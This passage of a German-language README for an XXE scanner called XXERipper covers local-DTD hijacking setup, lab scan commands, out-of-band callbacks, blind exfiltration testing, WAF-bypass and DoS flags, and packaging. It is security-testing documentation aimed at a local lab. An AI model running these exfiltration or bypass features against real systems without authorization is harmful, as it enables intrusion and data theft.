`error_based_local_dtd` funktioniert, indem eine DTD gekapert wird, die bereits auf dem Dateisystem des Ziels existiert. Die Payload-Liste des Scanners referenziert etwa 60 gängige Pfade, aber die Technik kann nicht ausgelöst werden, wenn auf einem Dateisystem keiner dieser Pfade vorhanden ist — und der Scanner meldet in diesem Fall korrekt keinen Fund.
Installiere DTD-Pakete auf demselben Host, auf dem das Python-Lab läuft, damit die Technik etwas zum Kapern hat:```bash
# Fedora / RHEL / CentOS
sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
# Debian / Ubuntu
sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
# Arch / Manjaro
sudo pacman -S docbook-xml docbook-xsl
Windows liefert WMI-DTDs (C:\Windows\System32\wbem\xml\) und Office-DTDs (C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll) standardmäßig mit.
macOS liefert /System/Library/DTDs/PropertyList.dtd und sdef.dtd standardmäßig mit.
Ein Hinweis zu libxml2 2.13+. Modernes libxml2 hat die Regeln weiter verschärft: Eine hijackbare DTD muss die Parameter-Entity namentlich deklarieren, sie auf oberster Ebene referenzieren und darf nicht in Module mit verbotenen verschachtelten PEs verketten. Die DocBook-docbookx.dtd-Dateien scheitern an modernem libxml2, weil sie dbcentx.mod einbinden, das verbotene verschachtelte PEs enthält. fonts.dtd parst sauber, deklariert aber nicht die Entities, die der Scanner zu hijacken versucht.
Deshalb ist das Java-Lab die empfohlene Umgebung zur Demonstration von fehlerbasiertem XXE.
Jedes der folgenden Beispiele verwendet http://127.0.0.1:5000. Um dieselben Scans gegen das Lab über TLS auszuführen, starten Sie es mit --autocert (oder --https, um das zwischengespeicherte Zertifikat wiederzuverwenden) und richten Sie den Scanner auf https://127.0.0.1:5000. Der Scanner deaktiviert die TLS-Verifikation standardmäßig, sodass kein scanner-seitiges Flag erforderlich ist — ein selbstsigniertes Zertifikat funktioniert, ohne dass --verify-tls weggelassen werden muss.```bash
python3 xxe_lab.py --autocert &
xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache
**Option A — manuelles OOB.** Zwei Terminals:
**Terminal A** — starte den OOB-Client und notiere die Session-Domain:```bash
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
Terminal B — das Lab und die Scans ausführen:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--timing --unsafe --full-file-scan --no-fingerprint-cache
for p in safe safe-form safe-query safe-svg safe-saml safe-soap
safe-multipart safe-docx safe-xinclude safe-xinclude-xml
safe-xslt safe-xsd safe-xsd-import safe-pi
noise stripped safe-metadata; do
xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache
done
java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache
**Option B — automatisches OOB.** Ein Terminal:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable \
--oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
Option C — deterministische Regression. Setzen Sie XXE_LAB_MODE=scoped, bevor Sie das Lab starten. Jede Out-of-Scope-Anfrage liefert einen identischen Body zurück, sodass das No-Change-Veto des Scanners deterministisch auslöst und die Ergebnisse pro Endpunkt über mehrere Läufe hinweg reproduzierbar sind. Setzen Sie XXE_LAB_NOISE_SEED=1, um auch /xml/noise reproduzierbar zu machen.
Option D — Exfiltration. Um den Blind-Exfiltration-Pfad end-to-end zu testen:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
--oob-auto
--oob-listen 127.0.0.1:8888
--oob-public-url http://127.0.0.1:8888
--no-fingerprint-cache
In der WebUI: Starten Sie die Konsole mit `--serve --host 0.0.0.0`, aktivieren Sie **Serve DTDs from this WebUI** im Drawer, geben Sie die öffentliche URL der WebUI an, und derselbe Exfil-Pfad funktioniert ohne einen zweiten Prozess.
### Interpretieren von Abdeckungslücken
Die Skip-Liste des Scanners pro Ziel zeigt genau an, was nicht getestet wurde. Übergeben Sie das genannte Flag, um eine übersprungene Phase zu aktivieren:```
[!] 4 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
- saml_presig (no SAML-shaped URL segment)
- waf_bypass (no --bypass-waf)
| Übersprungene Phase | Aktivieren mit |
|---|---|
multipart_docx, svg | --svg |
dos | --unsafe |
timing | --timing |
saml_presig | --saml |
waf_bypass | --bypass-waf |
| Jede OOB-Phase | --oob-domain oder --oob-auto |
| Blind-Exfiltration | --oob-auto plus --oob-listen / --oob-dtd-dir (oder der vom WebUI gehostete Server) |
fingerprint | (nicht --no-fingerprint übergeben) |
| — (Änderung der Dateiliste) | --full-file-scan |
Voraussetzungen: Python 3.9+, build und hatchling für das Python-Packaging; makepkg, dpkg-buildpackage/debhelper/dh-python, rpmbuild für Distributionspakete.
| Ziel | Befehl | Ausgabe |
|---|---|---|
| Python-Wheel und sdist | make build | dist/*.whl, dist/*.tar.gz |
| Debian | make deb | dist/xxeripper_*.deb |
| RPM | make rpm | dist/xxeripper-*.rpm |
| Arch | make arch | dist/xxeripper-*.pkg.tar.zst |
| Alles | make all | Alles oben Genannte |
XXERipper ist freie Software, lizenziert unter der GNU General Public License v3 oder später. Verbreitung ohne jegliche Gewährleistung. Siehe https://www.gnu.org/licenses/ für Details.
Copyright (C) 2026 Kamal Khalilov.
XXERipper ist ausschließlich für autorisiertes Sicherheitstesting gedacht. Verwende es nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Testgenehmigung hast. Unautorisiertes Scannen kann gegen den CFAA (USA), den Computer Misuse Act (UK), ähnliche Gesetze in deiner Jurisdiktion und die Nutzungsbedingungen von Cloud-Anbietern verstoßen. Die Autoren sind nicht für Missbrauch verantwortlich und stellen dieses Tool ausschließlich für Bildungs- und legitime Sicherheitstestzwecke bereit.
Die Webkonsole hat keine Authentifizierung und sollte nicht ungeschützten Netzwerken ausgesetzt werden. Binde sie an 127.0.0.1 (den Standard) oder stelle einen authentifizierten Reverse-Proxy davor.
Autor: Kamal Khalilov — @kamalx06 · [email protected]
Danksagungen: Interactsh von ProjectDiscovery · PortSwigger Web Security Academy · HackTricks · mohemiv (Forschung zu fehlerbasiertem XXE) · ShadowProbe (Inspiration für Baselining) · CWE von MITRE · SARIF von OASIS · die Open-Source-Sicherheitscommunity.
Erstellt mit: Python · httpx · Flask · Hatchling · Interactsh · SARIF
XXERipper
Scan smarter. Report accurately. Stay legal.